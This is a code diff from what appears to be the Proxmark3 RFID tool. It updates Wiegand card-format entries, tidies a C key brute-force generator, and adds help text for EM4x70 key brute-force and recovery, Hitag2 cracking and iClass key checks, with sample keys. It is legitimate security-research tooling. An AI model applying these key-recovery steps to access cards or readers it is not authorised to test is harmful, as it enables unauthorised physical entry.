card->FacilityCode = get_linear_field(packed, 7, 12); card->FacilityCode = get_linear_field(packed, 7, 12);
@ -1433,12 +1440,12 @@ static const cardformat_t FormatTable[] = {
{"ind26", Pack_ind26, Unpack_ind26, "Indala 26-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"ind26", Pack_ind26, Unpack_ind26, "Indala 26-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"ind27", Pack_ind27, Unpack_ind27, "Indala 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"ind27", Pack_ind27, Unpack_ind27, "Indala 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"indasc27", Pack_indasc27, Unpack_indasc27, "Indala ASC 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"indasc27", Pack_indasc27, Unpack_indasc27, "Indala ASC 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"Tecom27", Pack_Tecom27, Unpack_Tecom27, "Tecom 27-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"Tecom27", Pack_Tecom27, Unpack_Tecom27, "Tecom 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"2804W", Pack_2804W, Unpack_2804W, "2804 Wiegand 28-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"2804W", Pack_2804W, Unpack_2804W, "2804 Wiegand 28-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"ind29", Pack_ind29, Unpack_ind29, "Indala 29-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"ind29", Pack_ind29, Unpack_ind29, "Indala 29-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"ATSW30", Pack_ATSW30, Unpack_ATSW30, "ATS Wiegand 30-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"ATSW30", Pack_ATSW30, Unpack_ATSW30, "ATS Wiegand 30-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"ADT31", Pack_ADT31, Unpack_ADT31, "HID ADT 31-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"ADT31", Pack_ADT31, Unpack_ADT31, "HID ADT 31-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"HCP32", Pack_hcp32, Unpack_hcp32, "HID Check Point 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"HCP32", Pack_hcp32, Unpack_hcp32, "HID Check Point 32-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"HPP32", Pack_hpp32, Unpack_hpp32, "HID Hewlett-Packard 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"HPP32", Pack_hpp32, Unpack_hpp32, "HID Hewlett-Packard 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"Kastle", Pack_Kastle, Unpack_Kastle, "Kastle 32-bit", {1, 1, 1, 0, 1}}, // from @xilni; PR #23 on RfidResearchGroup/proxmark3 {"Kastle", Pack_Kastle, Unpack_Kastle, "Kastle 32-bit", {1, 1, 1, 0, 1}}, // from @xilni; PR #23 on RfidResearchGroup/proxmark3
{"Kantech", Pack_Kantech, Unpack_Kantech, "Indala/Kantech KFS 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"Kantech", Pack_Kantech, Unpack_Kantech, "Indala/Kantech KFS 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
@ -1453,7 +1460,7 @@ static const cardformat_t FormatTable[] = {
{"C15001", Pack_C15001, Unpack_C15001, "HID KeyScan 36-bit", {1, 1, 0, 1, 1}}, // from Proxmark forums {"C15001", Pack_C15001, Unpack_C15001, "HID KeyScan 36-bit", {1, 1, 0, 1, 1}}, // from Proxmark forums
{"S12906", Pack_S12906, Unpack_S12906, "HID Simplex 36-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au {"S12906", Pack_S12906, Unpack_S12906, "HID Simplex 36-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au
{"Sie36", Pack_Sie36, Unpack_Sie36, "HID 36-bit Siemens", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"Sie36", Pack_Sie36, Unpack_Sie36, "HID 36-bit Siemens", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"H10320", Pack_H10320, Unpack_H10320, "HID H10320 36-bit BCD", {1, 0, 0, 0, 1}}, // from Proxmark forums {"H10320", Pack_H10320, Unpack_H10320, "HID H10320 37-bit BCD", {1, 0, 0, 0, 1}}, // from Proxmark forums
{"H10302", Pack_H10302, Unpack_H10302, "HID H10302 37-bit huge ID", {1, 0, 0, 0, 1}}, // from Proxmark forums {"H10302", Pack_H10302, Unpack_H10302, "HID H10302 37-bit huge ID", {1, 0, 0, 0, 1}}, // from Proxmark forums
{"H10304", Pack_H10304, Unpack_H10304, "HID H10304 37-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"H10304", Pack_H10304, Unpack_H10304, "HID H10304 37-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"P10004", Pack_P10004, Unpack_P10004, "HID P10004 37-bit PCSC", {1, 1, 0, 0, 0}}, // from @bthedorff; PR #1559 {"P10004", Pack_P10004, Unpack_P10004, "HID P10004 37-bit PCSC", {1, 1, 0, 0, 0}}, // from @bthedorff; PR #1559
@ -1462,7 +1469,7 @@ static const cardformat_t FormatTable[] = {
{"BQT38", Pack_bqt38, Unpack_bqt38, "BQT 38-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au {"BQT38", Pack_bqt38, Unpack_bqt38, "BQT 38-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au
{"ISCS", Pack_iscs38, Unpack_iscs38, "ISCS 38-bit", {1, 1, 0, 1, 1}}, // from cardinfo.barkweb.com.au {"ISCS", Pack_iscs38, Unpack_iscs38, "ISCS 38-bit", {1, 1, 0, 1, 1}}, // from cardinfo.barkweb.com.au
{"PW39", Pack_pw39, Unpack_pw39, "Pyramid 39-bit wiegand format", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"PW39", Pack_pw39, Unpack_pw39, "Pyramid 39-bit wiegand format", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au
{"P10001", Pack_P10001, Unpack_P10001, "HID P10001 Honeywell 40-bit", {1, 1, 0, 1, 0}}, // from cardinfo.barkweb.com.au {"P10001", Pack_P10001, Unpack_P10001, "HID P10001 Honeywell 40-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"Casi40", Pack_CasiRusco40, Unpack_CasiRusco40, "Casi-Rusco 40-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"Casi40", Pack_CasiRusco40, Unpack_CasiRusco40, "Casi-Rusco 40-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au
{"C1k48s", Pack_C1k48s, Unpack_C1k48s, "HID Corporate 1000 48-bit std", {1, 1, 0, 0, 1}}, // imported from old pack/unpack {"C1k48s", Pack_C1k48s, Unpack_C1k48s, "HID Corporate 1000 48-bit std", {1, 1, 0, 0, 1}}, // imported from old pack/unpack
{"BC40", Pack_bc40, Unpack_bc40, "Bundy TimeClock 40-bit", {1, 1, 0, 1, 1}}, // from {"BC40", Pack_bc40, Unpack_bc40, "Bundy TimeClock 40-bit", {1, 1, 0, 1, 1}}, // from

View file

@ -196,6 +196,10 @@ bool add_HID_header(wiegand_message_t *data) {
if (data->Length > 84 || data->Length == 0) if (data->Length > 84 || data->Length == 0)
return false; return false;
if (data->Length == 48) {
data->Mid |= 1U << (data->Length - 32); // Example leading 1: start bit
return true;
}
if (data->Length >= 64) { if (data->Length >= 64) {
data->Top |= 0x09e00000; // Extended-length header data->Top |= 0x09e00000; // Extended-length header
data->Top |= 1U << (data->Length - 64); // leading 1: start bit data->Top |= 1U << (data->Length - 64); // leading 1: start bit

View file

@ -63,14 +63,16 @@ int bf_generator_set_charset(generator_context_t *ctx, uint8_t charsets) {
int bf_generate(generator_context_t *ctx) { int bf_generate(generator_context_t *ctx) {
switch (ctx->mode) { switch (ctx->mode) {
case BF_MODE_RANGE: case BF_MODE_RANGE: {
return _bf_generate_mode_range(ctx); return _bf_generate_mode_range(ctx);
case BF_MODE_CHARSET: }
case BF_MODE_CHARSET: {
return _bf_generate_mode_charset(ctx); return _bf_generate_mode_charset(ctx);
}
case BF_MODE_SMART: case BF_MODE_SMART: {
return _bf_generate_mode_smart(ctx); return _bf_generate_mode_smart(ctx);
} }
}
return BF_GENERATOR_ERROR; return BF_GENERATOR_ERROR;
} }
@ -81,23 +83,27 @@ int bf_generate(generator_context_t *ctx) {
// returns -1 if incrementing reaches its end // returns -1 if incrementing reaches its end
int bf_array_increment(uint8_t *data, uint8_t data_len, uint8_t modulo) { int bf_array_increment(uint8_t *data, uint8_t data_len, uint8_t modulo) {
uint8_t prev_value;
// check if we reached max value already // check if we reached max value already
uint8_t i; uint8_t i;
for (i = 0; i < data_len; i++) for (i = 0; i < data_len; i++) {
if (data[i] < modulo - 1) if (data[i] < modulo - 1) {
break; break;
}
}
if (i == data_len) if (i == data_len) {
return -1; return -1;
}
for (uint8_t pos = data_len - 1;; pos--) { for (uint8_t pos = data_len - 1;; pos--) {
prev_value = ++data[pos];
uint8_t prev_value = ++data[pos];
data[pos] = data[pos] % modulo; data[pos] = data[pos] % modulo;
if (prev_value == data[pos])
if (prev_value == data[pos]) {
return 0; return 0;
else if (pos == 0) { } else if (pos == 0) {
// we cannot carryover to next byte // we cannot carryover to next byte
// with the max value check in place before, we should not reach this place // with the max value check in place before, we should not reach this place
return -1; return -1;
@ -108,12 +114,12 @@ int bf_array_increment(uint8_t *data, uint8_t data_len, uint8_t modulo) {
} }
// get current key casted to 32 bit // get current key casted to 32 bit
uint32_t bf_get_key32(generator_context_t *ctx) { uint32_t bf_get_key32(const generator_context_t *ctx) {
return ctx->current_key & 0xFFFFFFFF; return ctx->current_key & 0xFFFFFFFF;
} }
// get current key casted to 48 bit // get current key casted to 48 bit
uint64_t bf_get_key48(generator_context_t *ctx) { uint64_t bf_get_key48(const generator_context_t *ctx) {
return ctx->current_key & 0xFFFFFFFFFFFF; return ctx->current_key & 0xFFFFFFFFFFFF;
} }
@ -127,8 +133,9 @@ void bf_generator_clear(generator_context_t *ctx) {
int _bf_generate_mode_range(generator_context_t *ctx) { int _bf_generate_mode_range(generator_context_t *ctx) {
if (ctx->key_length != BF_KEY_SIZE_32 && ctx->key_length != BF_KEY_SIZE_48) if (ctx->key_length != BF_KEY_SIZE_32 && ctx->key_length != BF_KEY_SIZE_48) {
return BF_GENERATOR_ERROR; return BF_GENERATOR_ERROR;
}
if (ctx->current_key >= ctx->range_high) { if (ctx->current_key >= ctx->range_high) {
return BF_GENERATOR_END; return BF_GENERATOR_END;
@ -152,8 +159,9 @@ int _bf_generate_mode_charset(generator_context_t *ctx) {
return BF_GENERATOR_ERROR; return BF_GENERATOR_ERROR;
} }
if (ctx->flag1) if (ctx->flag1) {
return BF_GENERATOR_END; return BF_GENERATOR_END;
}
uint8_t key_byte = 0; uint8_t key_byte = 0;
ctx->current_key = 0; ctx->current_key = 0;
@ -162,43 +170,47 @@ int _bf_generate_mode_charset(generator_context_t *ctx) {
ctx->current_key |= (uint64_t) ctx->charset[ctx->pos[key_byte]] << ((ctx->key_length - key_byte - 1) * 8); ctx->current_key |= (uint64_t) ctx->charset[ctx->pos[key_byte]] << ((ctx->key_length - key_byte - 1) * 8);
} }
if (bf_array_increment(ctx->pos, ctx->key_length, ctx->charset_length) == -1) if (bf_array_increment(ctx->pos, ctx->key_length, ctx->charset_length) == -1) {
// set flag1 to emit value last time and end generation on next call // set flag1 to emit value last time and end generation on next call
ctx->flag1 = true; ctx->flag1 = true;
}
return BF_GENERATOR_NEXT; return BF_GENERATOR_NEXT;
} }
int _bf_generate_mode_smart(generator_context_t *ctx) { int _bf_generate_mode_smart(generator_context_t *ctx) {
int ret;
while (1) { while (1) {
if (smart_generators[ctx->smart_mode_stage] == NULL) if (smart_generators[ctx->smart_mode_stage] == NULL) {
return BF_GENERATOR_END; return BF_GENERATOR_END;
}
ret = smart_generators[ctx->smart_mode_stage](ctx); int ret = smart_generators[ctx->smart_mode_stage](ctx);
switch (ret) { switch (ret) {
case BF_GENERATOR_NEXT: case BF_GENERATOR_NEXT: {
return ret; return ret;
case BF_GENERATOR_ERROR: }
case BF_GENERATOR_ERROR: {
return ret; return ret;
case BF_GENERATOR_END: }
case BF_GENERATOR_END: {
ctx->smart_mode_stage++; ctx->smart_mode_stage++;
bf_generator_clear(ctx); bf_generator_clear(ctx);
continue; continue;
} }
} }
} }
}
int smart_generator_byte_repeat(generator_context_t *ctx) { int smart_generator_byte_repeat(generator_context_t *ctx) {
// key consists of repeated single byte // key consists of repeated single byte
uint32_t current_byte = ctx->counter1; uint32_t current_byte = ctx->counter1;
if (current_byte > 0xFF) if (current_byte > 0xFF) {
return BF_GENERATOR_END; return BF_GENERATOR_END;
}
ctx->current_key = 0; ctx->current_key = 0;
@ -213,8 +225,9 @@ int smart_generator_msb_byte_only(generator_context_t *ctx) {
// key of one byte (most significant one) and all others being zero // key of one byte (most significant one) and all others being zero
uint32_t current_byte = ctx->counter1; uint32_t current_byte = ctx->counter1;
if (current_byte > 0xFF) if (current_byte > 0xFF) {
return BF_GENERATOR_END; return BF_GENERATOR_END;
}
ctx->current_key = (uint64_t)current_byte << ((ctx->key_length - 1) * 8); ctx->current_key = (uint64_t)current_byte << ((ctx->key_length - 1) * 8);

View file

@ -79,7 +79,7 @@ typedef struct {
} generator_context_t; } generator_context_t;
void bf_generator_init(generator_context_t *ctx, uint8_t mode, uint8_t key_size); void bf_generator_init(generator_context_t *ctx, uint8_t mode, uint8_t key_length);
void bf_generator_clear(generator_context_t *ctx); // clear flags and counters used by generators void bf_generator_clear(generator_context_t *ctx); // clear flags and counters used by generators
int bf_generator_set_charset(generator_context_t *ctx, uint8_t charsets); int bf_generator_set_charset(generator_context_t *ctx, uint8_t charsets);
int bf_generate(generator_context_t *ctx); int bf_generate(generator_context_t *ctx);
@ -87,8 +87,8 @@ int _bf_generate_mode_range(generator_context_t *ctx);
int _bf_generate_mode_charset(generator_context_t *ctx); int _bf_generate_mode_charset(generator_context_t *ctx);
int _bf_generate_mode_smart(generator_context_t *ctx); int _bf_generate_mode_smart(generator_context_t *ctx);
int bf_array_increment(uint8_t *data, uint8_t data_len, uint8_t modulo); int bf_array_increment(uint8_t *data, uint8_t data_len, uint8_t modulo);
uint32_t bf_get_key32(generator_context_t *ctx); uint32_t bf_get_key32(const generator_context_t *ctx);
uint64_t bf_get_key48(generator_context_t *ctx); uint64_t bf_get_key48(const generator_context_t *ctx);
// smart mode // smart mode
typedef int (smart_generator_t)(generator_context_t *ctx); typedef int (smart_generator_t)(generator_context_t *ctx);

View file

@ -720,7 +720,7 @@
"-h, --help This help", "-h, --help This help",
"--keep keep the current values of the markers", "--keep keep the current values of the markers",
"-a <dec> yellow marker", "-a <dec> yellow marker",
"-b <dec> pink marker", "-b <dec> purple marker",
"-c <dec> orange marker", "-c <dec> orange marker",
"-d <dec> blue marker" "-d <dec> blue marker"
], ],
@ -740,6 +740,42 @@
], ],
"usage": "data shiftgraphzero [-h] -n <dec>" "usage": "data shiftgraphzero [-h] -n <dec>"
}, },
"data test_ss32": {
"command": "data test_ss32",
"description": "Tests the implementation of Buffer Save States (32-bit buffer)",
"notes": [
"data test_ss32"
],
"offline": false,
"options": [
"-h, --help This help"
],
"usage": "data test_ss32 [-h]"
},
"data test_ss32s": {
"command": "data test_ss32s",
"description": "Tests the implementation of Buffer Save States (32-bit signed buffer)",
"notes": [
"data test_ss32s"
],
"offline": false,
"options": [
"-h, --help This help"
],
"usage": "data test_ss32s [-h]"
},
"data test_ss8": {
"command": "data test_ss8",
"description": "Tests the implementation of Buffer Save States (8-bit buffer)",
"notes": [
"data test_ss8"
],
"offline": false,
"options": [
"-h, --help This help"
],
"usage": "data test_ss8 [-h]"
},
"data timescale": { "data timescale": {
"command": "data timescale", "command": "data timescale",
"description": "Set cursor display timescale. Setting the timescale makes the differential `dt` reading between the yellow and purple markers meaningful. once the timescale is set, the differential reading between brackets can become a time duration.", "description": "Set cursor display timescale. Setting the timescale makes the differential `dt` reading between the yellow and purple markers meaningful. once the timescale is set, the differential reading between brackets can become a time duration.",
@ -1386,6 +1422,18 @@
], ],
"usage": "hf 14b apdu [-hskte] [--decode] [-m <hex>] [-l <int>] -d <hex> [--timeout <dec>]" "usage": "hf 14b apdu [-hskte] [--decode] [-m <hex>] [-l <int>] -d <hex> [--timeout <dec>]"
}, },
"hf 14b calypso": {
"command": "hf 14b calypso",
"description": "Reads out the contents of a ISO14443B Calypso card",
"notes": [
"hf 14b calypso"
],
"offline": false,
"options": [
"-h, --help This help"
],
"usage": "hf 14b calypso [-h]"
},
"hf 14b dump": { "hf 14b dump": {
"command": "hf 14b dump", "command": "hf 14b dump",
"description": "This command dumps the contents of a ISO-14443-B tag and save it to file Tries to autodetect cardtype, memory size defaults to SRI4K", "description": "This command dumps the contents of a ISO-14443-B tag and save it to file Tries to autodetect cardtype, memory size defaults to SRI4K",
@ -1404,7 +1452,7 @@
}, },
"hf 14b help": { "hf 14b help": {
"command": "hf 14b help", "command": "hf 14b help",
"description": "--------- ----------------------- General ----------------------- help This help list List ISO-14443-B history --------- ----------------------- Operations ----------------------- view Display content from tag dump file valid SRIX4 checksum test --------------------------------------------------------------------------------------- hf 14b list available offline: yes Alias of `trace list -t 14b -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "description": "--------- ----------------------- General ----------------------- help This help list List ISO-14443-B history --------- ----------------------- Operations ----------------------- view Display content from tag dump file valid SRIX4 checksum test --------- ------------------ Calypso / Mobib ------------------ --------------------------------------------------------------------------------------- hf 14b list available offline: yes Alias of `trace list -t 14b -c` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol",
"notes": [ "notes": [
"hf 14b list --frame -> show frame delay times", "hf 14b list --frame -> show frame delay times",
"hf 14b list -1 -> use trace buffer" "hf 14b list -1 -> use trace buffer"
@ -1437,6 +1485,18 @@
], ],
"usage": "hf 14b info [-hsv]" "usage": "hf 14b info [-hsv]"
}, },
"hf 14b mobib": {
"command": "hf 14b mobib",
"description": "Reads out the contents of a ISO14443B Mobib card",
"notes": [
"hf 14b mobib"
],
"offline": false,
"options": [
"-h, --help This help"
],
"usage": "hf 14b mobib [-h]"
},
"hf 14b ndefread": { "hf 14b ndefread": {
"command": "hf 14b ndefread", "command": "hf 14b ndefread",
"description": "Print NFC Data Exchange Format (NDEF)", "description": "Print NFC Data Exchange Format (NDEF)",
@ -1501,10 +1561,11 @@
"offline": false, "offline": false,
"options": [ "options": [
"-h, --help This help", "-h, --help This help",
"--plot show anticollision signal trace in plot window",
"-v, --verbose verbose output", "-v, --verbose verbose output",
"-@ optional - continuous reader mode" "-@ optional - continuous reader mode"
], ],
"usage": "hf 14b reader [-hv@]" "usage": "hf 14b reader [-hv@] [--plot]"
}, },
"hf 14b restore": { "hf 14b restore": {
"command": "hf 14b restore", "command": "hf 14b restore",
@ -3102,7 +3163,7 @@
"description": "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", "description": "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag",
"notes": [ "notes": [
"hf iclass chk -f iclass_default_keys.dic", "hf iclass chk -f iclass_default_keys.dic",
"hf iclass chk -f iclass_default_keys.dic --elite" "hf iclass chk -f iclass_elite_keys.dic --elite"
], ],
"offline": false, "offline": false,
"options": [ "options": [
@ -8925,7 +8986,8 @@
"description": "Authenticate against an EM4x70 by sending random number (RN) and F(RN) If F(RN) is incorrect based on the tag key, the tag will not respond If F(RN) is correct based on the tag key, the tag will give a 20-bit response", "description": "Authenticate against an EM4x70 by sending random number (RN) and F(RN) If F(RN) is incorrect based on the tag key, the tag will not respond If F(RN) is correct based on the tag key, the tag will give a 20-bit response",
"notes": [ "notes": [
"lf em 4x70 auth --rnd 45F54ADA252AAC --frn 4866BB70 -> (using pm3 test key)", "lf em 4x70 auth --rnd 45F54ADA252AAC --frn 4866BB70 -> (using pm3 test key)",
"lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0 -> (using research paper key)" "lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0 -> (using research paper key)",
"lf em 4x70 auth --rnd 7D5167003571F8 --frn 982DBCC0 -> (autorecovery test key)"
], ],
"offline": false, "offline": false,
"options": [ "options": [
@ -8941,7 +9003,8 @@
"description": "This command will perform automatic recovery of the key from a writable tag. All steps are possible to do manually. The corresponding sequence, if done manually, is as follows: 1. Verify passed parameters authenticate with the tag (safety check) lf em 4x70 auth --rnd <rnd_1> --frn <frn_1> 2. Brute force the key bits in block 9 lf em 4x70 write -b 9 -d 0000 lf em 4x70 recover -b 9 --rnd <rnd_1> --frn <frn_1> lf em 4x70 write -b 9 -d <key_block_9> 3. Brute force the key bits in block 8 lf em 4x70 write -b 8 -d 0000 lf em 4x70 recover -b 8 --rnd <rnd_1> --frn <frn_1> lf em 4x70 write -b 8 -d <key_block_8> 4. Brute force the key bits in block 7 lf em 4x70 write -b 7 -d 0000) lf em 4x70 recover -b 7 --rnd <rnd_1> --frn <frn_1> lf em 4x70 write -b 7 -d <key_block_7> 5. Recover potential values of the lower 48 bits of the key lf em 4x70 recover --key <key_block_9><key_block_8><key_block_7> --rnd <rnd_1> --frn <frn_1> 6. Verify which potential key is actually on the tag (using a different rnd/frn combination) lf em 4x70 auth --rnd <rnd_2> --frn <frn_N> 7. Print the validated key This command simply requires the rnd/frn/grn from a single known-good authentication.", "description": "This command will perform automatic recovery of the key from a writable tag. All steps are possible to do manually. The corresponding sequence, if done manually, is as follows: 1. Verify passed parameters authenticate with the tag (safety check) lf em 4x70 auth --rnd <rnd_1> --frn <frn_1> 2. Brute force the key bits in block 9 lf em 4x70 write -b 9 -d 0000 lf em 4x70 recover -b 9 --rnd <rnd_1> --frn <frn_1> lf em 4x70 write -b 9 -d <key_block_9> 3. Brute force the key bits in block 8 lf em 4x70 write -b 8 -d 0000 lf em 4x70 recover -b 8 --rnd <rnd_1> --frn <frn_1> lf em 4x70 write -b 8 -d <key_block_8> 4. Brute force the key bits in block 7 lf em 4x70 write -b 7 -d 0000) lf em 4x70 recover -b 7 --rnd <rnd_1> --frn <frn_1> lf em 4x70 write -b 7 -d <key_block_7> 5. Recover potential values of the lower 48 bits of the key lf em 4x70 recover --key <key_block_9><key_block_8><key_block_7> --rnd <rnd_1> --frn <frn_1> 6. Verify which potential key is actually on the tag (using a different rnd/frn combination) lf em 4x70 auth --rnd <rnd_2> --frn <frn_N> 7. Print the validated key This command simply requires the rnd/frn/grn from a single known-good authentication.",
"notes": [ "notes": [
"lf em 4x70 autorecover --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)", "lf em 4x70 autorecover --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)",
"lf em 4x70 autorecover --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)" "lf em 4x70 autorecover --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)",
"lf em 4x70 autorecover --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)"
], ],
"offline": false, "offline": false,
"options": [ "options": [
@ -8953,11 +9016,29 @@
], ],
"usage": "lf em 4x70 autorecover [-h] [--par] --rnd <hex> --frn <hex> --grn <hex>" "usage": "lf em 4x70 autorecover [-h] [--par] --rnd <hex> --frn <hex> --grn <hex>"
}, },
"lf em 4x70 calc": {
"command": "lf em 4x70 calc",
"description": "Calculates both the reader and tag challenge for a user-provided key and rnd.",
"notes": [
"lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC (pm3 test key)",
"lf em 4x70 calc --key A090A0A02080000000000000 --rnd 3FFE1FB6CC513F (research paper key)",
"lf em 4x70 calc --key 022A028C02BE000102030405 --rnd 7D5167003571F8 (autorecovery test key)"
],
"offline": true,
"options": [
"-h, --help This help",
"--key <hex> Key 96-bit as 12 hex bytes",
"--rnd <hex> 56-bit random value sent to tag for authentication"
],
"usage": "lf em 4x70 calc [-h] --key <hex> --rnd <hex>"
},
"lf em 4x70 help": { "lf em 4x70 help": {
"command": "lf em 4x70 help", "command": "lf em 4x70 help",
"description": "help This help recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'", "description": "help This help calc Calculate EM4x70 challenge and response recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'",
"notes": [ "notes": [
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80" "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80 (pm3 test key)",
"lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 -> bruteforcing key bits k79...k64 (research paper key)",
"lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 -> bruteforcing key bits k63...k48 (autorecovery test key)"
], ],
"offline": true, "offline": true,
"options": [ "options": [
@ -8989,7 +9070,8 @@
"description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.", "description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.",
"notes": [ "notes": [
"lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)", "lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)",
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)" "lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)",
"lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)"
], ],
"offline": true, "offline": true,
"options": [ "options": [
@ -9007,7 +9089,8 @@
"description": "Write new 96-bit key to tag", "description": "Write new 96-bit key to tag",
"notes": [ "notes": [
"lf em 4x70 setkey -k F32AA98CF5BE4ADFA6D3480B (pm3 test key)", "lf em 4x70 setkey -k F32AA98CF5BE4ADFA6D3480B (pm3 test key)",
"lf em 4x70 setkey -k A090A0A02080000000000000 (research paper key)" "lf em 4x70 setkey -k A090A0A02080000000000000 (research paper key)",
"lf em 4x70 setkey -k 022A028C02BE000102030405 (autorecovery test key)"
], ],
"offline": false, "offline": false,
"options": [ "options": [
@ -9443,6 +9526,19 @@
], ],
"usage": "lf hitag chk [-h] [-f <fn>] [--pwd] [--crypto]" "usage": "lf hitag chk [-h] [-f <fn>] [--pwd] [--crypto]"
}, },
"lf hitag crack2": {
"command": "lf hitag crack2",
"description": "This command tries to recover 2048 bits of Hitag2 crypto stream data.",
"notes": [
"lf hitag crack2 --nrar 73AA5A62EAB8529C"
],
"offline": false,
"options": [
"-h, --help This help",
"--nrar <hex> specify nonce / answer as 8 hex bytes"
],
"usage": "lf hitag crack2 [-h] [--nrar <hex>]"
},
"lf hitag dump": { "lf hitag dump": {
"command": "lf hitag dump", "command": "lf hitag dump",
"description": "Read all Hitag 2 card memory and save to file Crypto mode key format: ISK high + ISK low, 4F4E4D494B52 (ONMIKR) Password mode, default key 4D494B52 (MIKR)", "description": "Read all Hitag 2 card memory and save to file Crypto mode key format: ISK high + ISK low, 4F4E4D494B52 (ONMIKR) Password mode, default key 4D494B52 (MIKR)",
@ -9497,7 +9593,7 @@
}, },
"lf hitag help": { "lf hitag help": {
"command": "lf hitag help", "command": "lf hitag help",
